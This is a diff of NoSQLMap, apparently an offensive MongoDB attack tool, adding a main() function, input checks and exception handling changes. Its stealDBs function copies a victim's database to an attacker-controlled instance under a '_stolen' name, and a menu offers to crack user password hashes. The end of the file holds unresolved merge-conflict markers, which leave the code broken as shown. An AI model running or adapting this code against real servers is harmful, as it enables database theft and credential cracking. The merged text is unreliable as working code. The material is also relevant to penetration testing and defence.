3535from hashlib import md5
3636from threading import Thread
3737
38- #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
39- global optionSet
40- optionSet = [False ,False ,False ,False ,False ,False ,False ,False ,False ]
41- global yes_tag
42- global no_tag
43- yes_tag = ['y' , 'Y' ]
44- no_tag = ['n' , 'N' ]
45- global victim
46- global webPort
47- global uri
48- global httpMethod
49- global https
50- global myIP
51- global myPort
52- global verb
53- global scanNeedCreds
54- global dbPort
55- dbPort = 27017
5638
39+ def main ():
40+ signal .signal (signal .SIGINT , signal_handler )
41+ global optionSet
42+ #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
43+ optionSet = [False ,False ,False ,False ,False ,False ,False ,False ,False ]
44+ global yes_tag
45+ global no_tag
46+ yes_tag = ['y' , 'Y' ]
47+ no_tag = ['n' , 'N' ]
48+ global victim
49+ global webPort
50+ global uri
51+ global httpMethod
52+ global https
53+ global myIP
54+ global myPort
55+ global verb
56+ global scanNeedCreds
57+ global dbPort
58+ dbPort = 27017
59+ mainMenu ()
60+
5761def mainMenu ():
5862 mmSelect = True
5963 while mmSelect :
@@ -67,7 +71,7 @@ def mainMenu():
6771 print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |"
6872 print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/"
6973 print "===================================================="
70- print "NoSQLMap-v0.4 "
74+ print "NoSQLMap-v0.4a "
7175 print "nosqlmap@gmail.com"
7276 print "\n "
7377 print "1-Set options"
@@ -486,8 +490,11 @@ def netAttacks(target):
486490 enumGrid (conn )
487491
488492 if attack == "4" :
489- print "\n "
490- stealDBs (myIP ,conn )
493+ if optionSet [4 ] == False :
494+ print "Target database not set!"
495+ else :
496+ print "\n "
497+ stealDBs (myIP ,conn )
491498
492499 if attack == "5" :
493500 print "\n "
@@ -1439,10 +1446,11 @@ def buildUri(origUri, randValue):
14391446
14401447def stealDBs (myDB ,mongoConn ):
14411448 dbList = mongoConn .database_names ()
1449+ dbLoot = True
14421450 menuItem = 1
14431451 if optionSet [4 ] == False :
1444- raw_input ("No destination database set! Press enter to return to the main menu ." )
1445- mainMenu ()
1452+ raw_input ("No destination database set! Press enter to return." )
1453+ return
14461454
14471455 if len (dbList ) == 0 :
14481456 print "Can't get a list of databases to steal. The provided credentials may not have rights."
@@ -1452,22 +1460,20 @@ def stealDBs(myDB,mongoConn):
14521460 print str (menuItem ) + "-" + dbName
14531461 menuItem += 1
14541462
1455- try :
1463+ while dbLoot :
14561464 dbLoot = raw_input ("Select a database to steal:" )
1457-
1458- except :
1459- print "Invalid selection."
1460- stealDBs (myDB )
1465+
1466+ if int (dbLoot ) > menuItem :
1467+ print "Invalid selection."
1468+
1469+ else :
1470+ break
14611471
14621472 try :
14631473 #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
14641474 dbNeedCreds = raw_input ("Does this database require credentials (y/n)? " )
14651475
14661476 if dbNeedCreds in no_tag :
1467- if optionSet [4 ] == False :
1468- raw_input ("No IP specified to copy to! Press enter to return to main menu..." )
1469- return
1470-
14711477 myDBConn = pymongo .MongoClient (myDB ,27017 )
14721478 myDBConn .copy_database (dbList [int (dbLoot )- 1 ],dbList [int (dbLoot )- 1 ] + "_stolen" ,victim )
14731479
@@ -1488,8 +1494,8 @@ def stealDBs(myDB,mongoConn):
14881494 else :
14891495 return
14901496
1491- except :
1492- if str (sys . exc_info () ).find ('text search not enabled' ) != - 1 :
1497+ except Exception , e :
1498+ if str (e ).find ('text search not enabled' ) != - 1 :
14931499 raw_input ("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return..." )
14941500 return
14951501
@@ -1536,8 +1542,8 @@ def accessCheck(ip,port,pingIt):
15361542 conn .disconnect ()
15371543 return [0 ,dbVer ]
15381544
1539- except :
1540- if str (sys . exc_info () ).find ('need to login' ) != - 1 :
1545+ except Exception , e :
1546+ if str (e ).find ('need to login' ) != - 1 :
15411547 conn .disconnect ()
15421548 return [1 ,None ]
15431549
@@ -1979,7 +1985,7 @@ def getDBInfo():
19791985 menuItem += 1
19801986
19811987 userIndex = raw_input ("Select user hash to crack: " )
1982- dict_pass (users [int (userIndex )- 1 ],hashes [int (userIndex )- 1 ])
1988+ passCrack (users [int (userIndex )- 1 ],hashes [int (userIndex )- 1 ])
19831989
19841990 crackHash = raw_input ("Crack another hash (y/n)?" )
19851991 raw_input ("Press enter to continue..." )
@@ -1991,5 +1997,10 @@ def signal_handler(signal, frame):
19911997 print "CTRL+C detected. Exiting."
19921998 sys .exit ()
19931999
2000+ < << << << HEAD
19942001signal .signal (signal .SIGINT , signal_handler )
19952002mainMenu ()
2003+ == == == =
2004+ if __name__ == '__main__' :
2005+ main ()
2006+ > >> >> >> 0.4
0 commit comments